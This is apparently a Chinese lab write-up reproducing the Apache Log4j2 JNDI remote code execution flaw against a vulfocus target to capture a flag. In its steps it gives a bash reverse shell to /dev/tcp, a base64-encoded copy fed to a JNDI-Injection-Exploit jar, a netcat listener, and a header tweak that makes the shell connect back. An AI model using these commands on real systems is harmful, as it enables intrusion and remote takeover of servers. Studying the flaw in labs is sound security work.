- 前言
- 一、Apache Log4j2是什么？
- 二、复现步骤
- 1.工具
- 2.复现过程
前言 一、Apache Log4j2是什么？
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。 在大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包，最终触发远程代码执行。
二、复现步骤 1.工具工具：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载链接：https://github.com/fangjiuye/jiuye
1.启用靶场http://vulfocus.fofa.so
2.进行抓包
3.在服务器启动工具
bash -i >& /dev/tcp/ip/1234 0>&1 这条命令需要在https://www.jackson-t.ca/runtime-exec-payloads.html进行编码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}” -A IP
payload使用下图标记那条（目标环境：在JDK中构建，其trustURLCodebase为false，并且在类路径中具有Tomcat 8+或SpringBoot 1.2.x+）：）
并在服务器开启监听
nc -lvvp 1234
4.在burp进行构造payload
服务器反shell情况
5.发现服务器监听无信息返回，进行添加Content-Type头
Content-Type:application/x-www-form-urlencoded
服务器监听情况，成功反shell
6.获得flag
